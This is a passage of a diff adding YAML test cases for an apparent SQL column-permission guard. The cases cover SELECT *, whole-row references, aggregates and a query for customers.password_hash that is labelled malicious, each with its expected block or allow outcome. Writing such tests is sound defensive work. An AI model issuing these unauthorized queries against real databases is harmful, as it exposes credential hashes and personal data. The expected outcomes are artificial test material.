sql: SELECT o.status, SUM(o.total_amount) FROM orders o WHERE o.tenant_id = 1 GROUP BY o.status
|
|
150
|
+
category: unauthorized_column
|
|
151
|
+
reason: unauthorized_column
|
|
152
|
+
explanation: Aggregating an ungranted column is still access to it.
|
|
153
|
+
- id: COL-010
|
|
154
|
+
role: support_analyst
|
|
155
|
+
sql: SELECT c.password_hash FROM customers c WHERE c.tenant_id = 1
|
|
156
|
+
category: unauthorized_column
|
|
157
|
+
reason: unresolvable
|
|
158
|
+
classification: malicious
|
|
159
|
+
explanation: Column not in the catalog.
|
|
160
|
+
- id: COL-011
|
|
161
|
+
role: support_analyst
|
|
162
|
+
sql: SELECT * FROM customers WHERE tenant_id = 1
|
|
163
|
+
category: unauthorized_column
|
|
164
|
+
reason: unauthorized_column
|
|
165
|
+
explanation: SELECT * expands to ungranted columns (phone, date_of_birth, ...).
|
|
166
|
+
- id: COL-012
|
|
167
|
+
role: support_analyst
|
|
168
|
+
sql: SELECT c.* FROM customers c WHERE c.tenant_id = 1
|
|
169
|
+
category: unauthorized_column
|
|
170
|
+
reason: unauthorized_column
|
|
171
|
+
explanation: Qualified star expands the same way.
|
|
172
|
+
- id: COL-013
|
|
173
|
+
role: support_analyst
|
|
174
|
+
sql: SELECT p.id, p.card_last4, p.card_brand, p.amount, p.status FROM payments p WHERE p.tenant_id = 1
|
|
175
|
+
category: unauthorized_column
|
|
176
|
+
expected: allow
|
|
177
|
+
reason: none
|
|
178
|
+
explanation: Only granted payment columns.
|
|
179
|
+
- id: COL-014
|
|
180
|
+
role: warehouse_analyst
|
|
181
|
+
sql: SELECT o.id, o.status, o.created_at FROM orders o WHERE o.tenant_id = 1
|
|
182
|
+
category: unauthorized_column
|
|
183
|
+
expected: allow
|
|
184
|
+
reason: none
|
|
185
|
+
explanation: Exactly the warehouse grant on orders.
|
|
186
|
+
- id: COL-015
|
|
187
|
+
role: support_analyst
|
|
188
|
+
sql: SELECT * FROM orders WHERE tenant_id = 1
|
|
189
|
+
category: unauthorized_column
|
|
190
|
+
expected: allow
|
|
191
|
+
reason: none
|
|
192
|
+
explanation: Full grant on orders; contact columns allowed for support.
|
|
193
|
+
- id: COL-016
|
|
194
|
+
role: support_analyst
|
|
195
|
+
sql: SELECT nonexistent FROM orders o JOIN shipments s ON s.order_id = o.id WHERE o.tenant_id = 1 AND s.tenant_id = 1
|
|
196
|
+
category: unauthorized_column
|
|
197
|
+
reason: unresolvable
|
|
198
|
+
explanation: Column that cannot be attributed to any source fails closed.
|
|
199
|
+
- id: COL-017
|
|
200
|
+
role: reporting_agent
|
|
201
|
+
sql: SELECT customers FROM customers WHERE tenant_id = 1
|
|
202
|
+
dialects: [postgres]
|
|
203
|
+
category: unauthorized_column
|
|
204
|
+
reason: unauthorized_column
|
|
205
|
+
explanation: Whole-row reference returns every column, including ungranted ones.
|